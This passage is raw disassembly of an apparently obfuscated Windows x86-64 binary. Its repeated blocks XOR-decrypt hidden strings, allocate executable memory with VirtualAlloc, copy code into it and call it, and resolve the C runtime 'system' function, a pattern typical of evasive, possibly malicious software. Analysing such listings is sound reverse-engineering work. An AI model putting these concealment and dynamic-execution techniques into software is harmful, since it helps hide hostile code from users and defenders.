movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov r8d, dword [rbp + 0x68d0]
nop dword [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r8d
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x38
jl 0x140007d30
jmp 0x140007e52
mov r9, r10
mov eax, 0x1f7047dd
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x38
jl 0x140007e20
mov r8, r15
mov rdx, r10
lea rcx, [rbp + 0x6e0]
call fcn.140023e40
nop
mov rcx, rax
call fcn.140022f20
mov qword [rbp + 0x50], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x68d0], xmm0
lea rax, [rbp + 0x69b8]
mov qword [rbp + 0x68d8], r14
mov qword [rbp + 0x68e0], rax
mov r15, qword [rax]
xor r15, r14
mov qword [rbp + 0x68d0], r15
mov qword [rax], rbx
mov ecx, ebx
mov rax, qword [0x1401012c0]
test rax, rax
je 0x140007eda
mov rdx, rbx
cmp rax, rsi
je 0x140007ec9
inc ecx
mov edx, ecx
mov rax, qword [rdi + rcx*8 + 0x1012c0]
test rax, rax
jne 0x140007eb1
jmp 0x140007eda
mov r8, qword [rdi + rdx*8 + 0x100f90]
test r8, r8
jne 0x140007fbf
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140007f03
mov r8, rbx
jmp 0x140007f9e
mov rax, rsi
mov rcx, r8
mov rdx, r13
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140007f10
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140100f88]
mov qword [rdi + rax*8 + 0x1012c0], rsi
mov qword [rdi + rax*8 + 0x100f90], r8
inc rax
mov qword [0x140100f88], rax
lea rdx, [rbp + 0x50]
mov rcx, qword [r12]
call r8
nop
xor r15, r14
lea rax, [rbp + 0x69b8]
mov qword [rax], r15
lea rcx, [rbp + 0x6e0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x6c0]
call fcn.140022f30
mov rdx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x58]
call fcn.140022d20
mov r12, rax
mov edx, 0xa
lea rcx, [rbp + 0x700]
call fcn.140005630
mov r15, rax
lea rdx, [rbp + 0x5c10]
lea rcx, [rsp + 0x2b]
call fcn.14001e9e0
mov r10, rax
cmp byte [rax + 0x37], 0
je 0x140008182
mov r8d, ebx
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x14000814d
mov edx, ebx
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov r8d, dword [rbp + 0x68d0]
nop dword [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r8d
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x38
jl 0x140008060
jmp 0x140008182
mov r9, r10
mov eax, 0x1f7047dd
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x38
jl 0x140008150
mov r8, r15
mov rdx, r10
lea rcx, [rbp + 0x720]
call fcn.140023e40
nop
mov rcx, rax
call fcn.140022f20
mov qword [rbp + 0x60], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x68d0], xmm0
lea rax, [rbp + 0x69b8]
mov qword [rbp + 0x68d8], r14
mov qword [rbp + 0x68e0], rax
mov r15, qword [rax]
xor r15, r14
mov qword [rbp + 0x68d0], r15
mov qword [rax], rbx
mov ecx, ebx
mov rax, qword [0x1401012c0]
test rax, rax
je 0x14000820a
mov rdx, rbx
cmp rax, rsi
je 0x1400081f9
inc ecx
mov edx, ecx
mov rax, qword [rdi + rcx*8 + 0x1012c0]
test rax, rax
jne 0x1400081e1
jmp 0x14000820a
mov r8, qword [rdi + rdx*8 + 0x100f90]
test r8, r8
jne 0x1400082ef
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140008233
mov r8, rbx
jmp 0x1400082ce
mov rax, rsi
mov rcx, r8
mov rdx, r13
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140008240
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140100f88]
mov qword [rdi + rax*8 + 0x1012c0], rsi
mov qword [rdi + rax*8 + 0x100f90], r8
inc rax
mov qword [0x140100f88], rax
lea rdx, [rbp + 0x60]
mov rcx, qword [r12]
call r8
nop
xor r15, r14
lea rax, [rbp + 0x69b8]
mov qword [rax], r15
lea rcx, [rbp + 0x720]
call fcn.140022f30
nop
lea rcx, [rbp + 0x700]
call fcn.140022f30
mov rdx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x68]
call fcn.140022d20
mov r12, rax
mov edx, reloc.WS2_32.dll_ntohs
lea rcx, [rbp + 0x740]
call fcn.140005630
mov r15, rax
lea rdx, [rbp + 0x5c48]
lea rcx, [rsp + 0x2c]
call fcn.14001ea20
mov r10, rax
cmp byte [rax + 0x37], 0
je 0x1400084b2
mov r8d, ebx
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x14000847d
mov edx, ebx
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov r8d, dword [rbp + 0x68d0]
nop dword [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r8d
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x38
jl 0x140008390
jmp 0x1400084b2
mov r9, r10
mov eax, 0x1f7047dd
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x38
jl 0x140008480
mov r8, r15
mov rdx, r10
lea rcx, [rbp + 0x760]
call fcn.140023e40
nop
mov rcx, rax
call fcn.140022f20
mov qword [rbp + 0x70], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x68d0], xmm0
lea rax, [rbp + 0x69b8]
mov qword [rbp + 0x68d8], r14
mov qword [rbp + 0x68e0], rax
mov r15, qword [rax]
xor r15, r14
mov qword [rbp + 0x68d0], r15
mov qword [rax], rbx
mov ecx, ebx
mov rax, qword [0x1401012c0]
test rax, rax
je 0x14000853a
mov rdx, rbx
cmp rax, rsi
je 0x140008529
inc ecx
mov edx, ecx
mov rax, qword [rdi + rcx*8 + 0x1012c0]
test rax, rax
jne 0x140008511
jmp 0x14000853a
mov r8, qword [rdi + rdx*8 + 0x100f90]
test r8, r8
jne 0x14000861f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140008563
mov r8, rbx
jmp 0x1400085fe
mov rax, rsi
mov rcx, r8
mov rdx, r13
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140008570
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140100f88]
mov qword [rdi + rax*8 + 0x1012c0], rsi
mov qword [rdi + rax*8 + 0x100f90], r8
inc rax
mov qword [0x140100f88], rax
lea rdx, [rbp + 0x70]
mov rcx, qword [r12]
call r8
nop
xor r15, r14
lea rax, [rbp + 0x69b8]
mov qword [rax], r15
lea rcx, [rbp + 0x760]
call fcn.140022f30
nop
lea rcx, [rbp + 0x740]
call fcn.140022f30
mov rdx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x78]
call fcn.140022d20
mov r12, rax
mov edx, 0xa
lea rcx, [rbp + 0x780]
call fcn.140005630
mov r15, rax
lea rdx, [rbp + 0x5c80]
lea rcx, [rsp + 0x2d]
call fcn.14001ea60
mov r10, rax
cmp byte [rax + 0x37], 0
je 0x1400087e2
mov r8d, ebx
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x1400087ad
mov edx, ebx
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov r8d, dword [rbp + 0x68d0]
nop dword [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r8d
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x38
jl 0x1400086c0
jmp 0x1400087e2
mov r9, r10
mov eax, 0x1f7047dd
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x38
jl 0x1400087b0
mov r8, r15
mov rdx, r10
lea rcx, [rbp + 0x7a0]
call fcn.140023e40
nop
mov rcx, rax
call fcn.140022f20
mov qword [rbp + 0x80], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x68d0], xmm0
lea rax, [rbp + 0x69b8]
mov qword [rbp + 0x68d8], r14
mov qword [rbp + 0x68e0], rax
mov r15, qword [rax]
xor r15, r14
mov qword [rbp + 0x68d0], r15
mov qword [rax], rbx
mov ecx, ebx
mov rax, qword [0x1401012c0]
test rax, rax
je 0x14000886d
mov rdx, rbx
cmp rax, rsi
je 0x14000885c
inc ecx
mov edx, ecx
mov rax, qword [rdi + rcx*8 + 0x1012c0]
test rax, rax
jne 0x140008844
jmp 0x14000886d
mov r8, qword [rdi + rdx*8 + 0x100f90]
test r8, r8
jne 0x14000894f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140008896
mov r8, rbx
jmp 0x14000892e
mov rax, rsi
mov rcx, r8
mov rdx, r13
nop
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1400088a0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140100f88]
mov qword [rdi + rax*8 + 0x1012c0], rsi
mov qword [rdi + rax*8 + 0x100f90], r8
inc rax
mov qword [0x140100f88], rax
lea rdx, [rbp + 0x80]
mov rcx, qword [r12]
call r8
nop
xor r15, r14
lea rax, [rbp + 0x69b8]
mov qword [rax], r15
lea rcx, [rbp + 0x7a0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x780]
call fcn.140022f30
mov rdx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x88]
call fcn.140022d20
mov r12, rax
mov edx, reloc.WS2_32.dll_ntohs
lea rcx, [rbp + 0x7c0]
call fcn.140005630
mov r15, rax
lea rdx, [rbp + 0x5cb8]
lea rcx, [rsp + 0x2e]
call fcn.14001eaa0
mov r10, rax
cmp byte [rax + 0x37], 0
je 0x140008b13
mov r8d, ebx
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140008ade
mov edx, ebx
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov r8d, dword [rbp + 0x68d0]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r8d
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x38
jl 0x1400089f1
jmp 0x140008b13
mov r9, r10
mov eax, 0x1f7047dd
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x38
jl 0x140008ae1
mov r8, r15
mov rdx, r10
lea rcx, [rbp + 0x7e0]
call fcn.140023e40
nop
mov rcx, rax
call fcn.140022f20
mov qword [rbp + 0x90], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x68d0], xmm0
lea rax, [rbp + 0x69b8]
mov qword [rbp + 0x68d8], r14
mov qword [rbp + 0x68e0], rax
mov r15, qword [rax]
xor r15, r14
mov qword [rbp + 0x68d0], r15
mov qword [rax], rbx
mov ecx, ebx
mov rax, qword [0x1401012c0]
test rax, rax
je 0x140008b9e
mov rdx, rbx
cmp rax, rsi
je 0x140008b8d
inc ecx
mov edx, ecx
mov rax, qword [rdi + rcx*8 + 0x1012c0]
test rax, rax
jne 0x140008b75
jmp 0x140008b9e
mov r8, qword [rdi + rdx*8 + 0x100f90]
test r8, r8
jne 0x140008c7f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140008bc7
mov r8, rbx
jmp 0x140008c5e
mov rax, rsi
mov rcx, r8
mov rdx, r13
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140008bd0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140100f88]
mov qword [rdi + rax*8 + 0x1012c0], rsi
mov qword [rdi + rax*8 + 0x100f90], r8
inc rax
mov qword [0x140100f88], rax
lea rdx, [rbp + 0x90]
mov rcx, qword [r12]
call r8
nop
xor r15, r14
lea rax, [rbp + 0x69b8]
mov qword [rax], r15
lea rcx, [rbp + 0x7e0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x7c0]
call fcn.140022f30
mov rdx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x98]
call fcn.140022d20
mov r12, rax
mov edx, 0xa
lea rcx, [rbp + 0x800]
call fcn.140005630
mov r15, rax
lea rdx, [rbp + 0x6588]
lea rcx, [rsp + 0x2f]
call fcn.14001eae0
mov r10, rax
cmp byte [rax + 0x38], 0
je 0x140008e55
mov r8d, ebx
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140008e13
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov edx, dword [rbp + 0x68d0]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x38
jl 0x140008d20
cmp r8d, 0x39
jge 0x140008e55
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x39
jl 0x140008e20
mov r8, r15
mov rdx, r10
lea rcx, [rbp + 0x820]
call fcn.140023e40
nop
mov rcx, rax
call fcn.140022f20
mov qword [rbp + 0xa0], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x68d0], xmm0
lea rax, [rbp + 0x69b8]
mov qword [rbp + 0x68d8], r14
mov qword [rbp + 0x68e0], rax
mov r15, qword [rax]
xor r15, r14
mov qword [rbp + 0x68d0], r15
mov qword [rax], rbx
mov ecx, ebx
